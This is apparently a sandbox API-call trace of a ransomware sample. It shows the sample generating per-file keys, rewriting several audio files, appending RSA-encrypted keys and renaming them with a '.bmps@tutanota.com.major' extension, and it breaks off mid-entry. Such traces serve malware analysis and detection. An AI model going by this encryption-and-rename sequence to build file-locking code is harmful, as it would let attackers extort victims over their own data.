ReadFile (in: hFile=0x7ac, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x937e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x937e, lpOverlapped=0x0) returned 1 [0169.938] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=-37758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.938] WriteFile (in: hFile=0x7ac, lpBuffer=0x662460*, nNumberOfBytesToWrite=0x937e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662460*, lpNumberOfBytesWritten=0x2e3f9b4*=0x937e, lpOverlapped=0x0) returned 1 [0169.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662460 | out: hHeap=0x570000) returned 1 [0169.938] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x937e [0169.938] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.938] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.938] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.938] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.938] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="sjuSp4PrK5YnVuAiQy46NL7aH98SlBm4tiJX17f6yT1MilMhlAFUJShYeQii5P8m\nCVe42NO9jb1xKu5yvmO2ZJ+Dm2H0Vd9iuj5G3qVWnjGcAEEOrz+5bllINrcEef5U\n8mtIo9caF1Ftdh95SEZm5ox8BOUgqLHwd4L15h4Q+/H0piJgxPW851Lltfm8IadD\nNckEH8ERMSvyMrdJClS3+1P7XdQPw0u2epS8mcUwDKJAin1d5L79EqhExLRFNNt5\naS2dP4eKQumGuvx1ETv8Mfx2Fhk/lS4pUY4qdXqNNA+urqcEEtJf6wN+motunQ5G\n7uHJ3+NkMoJEsiIkYBKndA==\n", pcchString=0x2e3f9a8) returned 1 [0169.938] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.938] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.939] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.939] CloseHandle (hObject=0x7ac) returned 1 [0169.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.939] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\OGbPaYPdlfIbp-KJ33Og.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\ogbpaypdlfibp-kj33og.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\OGbPaYPdlfIbp-KJ33Og.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\ogbpaypdlfibp-kj33og.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.949] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1628 | out: hHeap=0x570000) returned 1 [0169.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e98 | out: hHeap=0x570000) returned 1 [0169.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0169.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0169.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0169.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657028 [0169.950] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.950] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\mpoPvaz6qUVX.m4a", dwFileAttributes=0x80) returned 1 [0169.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x60e368 [0169.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0728 [0169.950] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e368 | out: hHeap=0x570000) returned 1 [0169.950] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\mpoPvaz6qUVX.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\mpopvaz6quvx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0169.950] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=71464) returned 1 [0169.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11728) returned 0x6590d8 [0169.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11728) returned 0x2ea0f38 [0169.950] ReadFile (in: hFile=0x7ac, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x11728, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x11728, lpOverlapped=0x0) returned 1 [0169.952] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=-71464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.952] WriteFile (in: hFile=0x7ac, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x11728, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11728, lpOverlapped=0x0) returned 1 [0169.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea0f38 | out: hHeap=0x570000) returned 1 [0169.952] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11728 [0169.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.952] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.952] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.952] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ZqFbi4xUqe4PZGzGMIV4dxSP30sRXDq68z310BCFQEdRoojnrLPtD2d4akFIPFIG\ndXnpTkmu/8R4kfUTIlRay1baDTQI2/D2pBr304XUu9IaHEaAo7kPSE5biiTynerh\nQAoaEpVfFukg7W8wAy6YZ2gHGz9wQcahunta5fNb2FahDo9XDjgnSSDK1er4bMW7\n05L6drqzHYkzJufuOR/AB8EJ+rrQEpF/pmooZ5oQlnspCe1aIK4IAwZz3QWdis0L\nT9cxVMrmaOUbkGFiAFLG+SYyJItjusfvQJsFf3YtZMMtwRuqm3puOUog9bIqfv6M\nSa87fO3ESpPosz1CvjgBiQ==\n", pcchString=0x2e3f9a8) returned 1 [0169.953] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.953] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.953] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.953] CloseHandle (hObject=0x7ac) returned 1 [0169.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.953] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\mpoPvaz6qUVX.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\mpopvaz6quvx.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\mpoPvaz6qUVX.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\mpopvaz6quvx.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.954] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0728 | out: hHeap=0x570000) returned 1 [0169.954] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657028 | out: hHeap=0x570000) returned 1 [0169.954] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0169.954] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0169.954] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0169.954] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ec0 [0169.954] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.954] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\GeJVnWXUWJ.mp3", dwFileAttributes=0x80) returned 1 [0169.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0169.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0169.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0169.955] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\GeJVnWXUWJ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\gejvnwxuwj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0169.955] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=33915) returned 1 [0169.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x847b) returned 0x6590d8 [0169.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x847b) returned 0x661560 [0169.955] ReadFile (in: hFile=0x7ac, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x847b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x847b, lpOverlapped=0x0) returned 1 [0169.956] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=-33915, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.956] WriteFile (in: hFile=0x7ac, lpBuffer=0x661560*, nNumberOfBytesToWrite=0x847b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661560*, lpNumberOfBytesWritten=0x2e3f9b4*=0x847b, lpOverlapped=0x0) returned 1 [0169.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661560 | out: hHeap=0x570000) returned 1 [0169.956] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x847b [0169.956] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.956] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.956] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.956] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.956] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.956] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="c2Pt0h3K/SG4SxEcBfZvU48HI7y5SjnA3ebfIH1EyneVeIig5AjN+qWR9qQlOLaS\netoolROQjaGJfSORhDZV/p4f/vm7Ao4utOEENml9MFxgx97J8xwT/tb/vMxOVDoY\nwaCWRpBVmSn2gopWP1NPdzZ6Mus4AUQAvFuAMx4h6Yme8ErFyWPXuXIr+koOGqJE\nKBitJxJ+O3ljrpeV5fiaUvr0fvSkC8k0uuzb/uZsH0LuqbmBkKdtz99pexcu82UX\n0T53SklKKzp4hRXEt3AiOo4ZMo84KHklitXTTZisqqN/Bh5Ma0Q9mXHuMqtAu4cy\nDq/eJRrYlckbw89U1dxhpA==\n", pcchString=0x2e3f9a8) returned 1 [0169.956] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.957] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.957] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.957] CloseHandle (hObject=0x7ac) returned 1 [0169.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.957] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\GeJVnWXUWJ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\gejvnwxuwj.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\GeJVnWXUWJ.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\gejvnwxuwj.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0169.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ec0 | out: hHeap=0x570000) returned 1 [0169.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0169.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0169.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0169.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0169.958] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.958] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\Ex8-3h704q755O8.m4a", dwFileAttributes=0x80) returned 1 [0169.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0169.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0a48 [0169.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0169.959] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\Ex8-3h704q755O8.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\ex8-3h704q755o8.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0169.959] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=72516) returned 1 [0169.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11b44) returned 0x6590d8 [0169.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11b44) returned 0x2ea0f38 [0169.959] ReadFile (in: hFile=0x7ac, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x11b44, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x11b44, lpOverlapped=0x0) returned 1 [0169.960] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=-72516, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.960] WriteFile (in: hFile=0x7ac, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x11b44, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11b44, lpOverlapped=0x0) returned 1 [0169.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea0f38 | out: hHeap=0x570000) returned 1 [0169.960] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11b44 [0169.960] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.960] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.961] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.961] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.961] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.961] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="MGq5jrtD7v5V7UDdnPgHV9XcRHgQd9UioO49DvuJ7S8mQpaGYeMhBL4/ew1Pg9W2\nn52r+oqcsiAKKYh2stsOlltvrX5EyLVVeE8y6oG9/vJlZ7+sVo/xb3j0ALQkT1g9\n3xrCtAQXEWH3TU4ykMX4I8BdpQGuboBJwnHcAEMd8Vo7cCeaCdfEaIJePxzBhIHc\n+uZY6dpJeDKUHlOpO6bl1QIeXTzwLggiB1tGC1FApPAzAtA7ACYKorki1Mx1F/Gv\nIaJWUjmETpfV+plsdc9QZ7VkjRVOlDVAn9p0EkIK17IiWk1VKCPTEAmjXWARmtPe\nVWdBP9qwf56zskcld5pJXg==\n", pcchString=0x2e3f9a8) returned 1 [0169.961] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.961] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.961] WriteFile (in: hFile=0x7ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.961] CloseHandle (hObject=0x7ac) returned 1 [0169.961] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.961] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\Ex8-3h704q755O8.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\ex8-3h704q755o8.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\Ex8-3h704q755O8.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\ex8-3h704q755o8.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a48 | out: hHeap=0x570000) returned 1 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0169.963] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7c00 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0169.963] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cd27e0, ftCreationTime.dwHighDateTime=0x1d4c6da, ftLastAccessTime.dwLowDateTime=0xa6545120, ftLastAccessTime.dwHighDateTime=0x1d4c88b, ftLastWriteTime.dwLowDateTime=0x1c878a17, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653aa0 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0169.963] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0169.963] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0169.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0169.963] GetLastError () returned 0x0 [0169.963] SetLastError (dwErrCode=0x0) [0169.963] GetLastError () returned 0x0 [0169.963] SetLastError (dwErrCode=0x0) [0169.963] GetLastError () returned 0x0 [0169.963] SetLastError (dwErrCode=0x0) [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0169.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x653b20 [0169.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653b20 | out: hHeap=0x570000) returned 1 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0169.964] HeapFree (in: hHeap=0x570000, 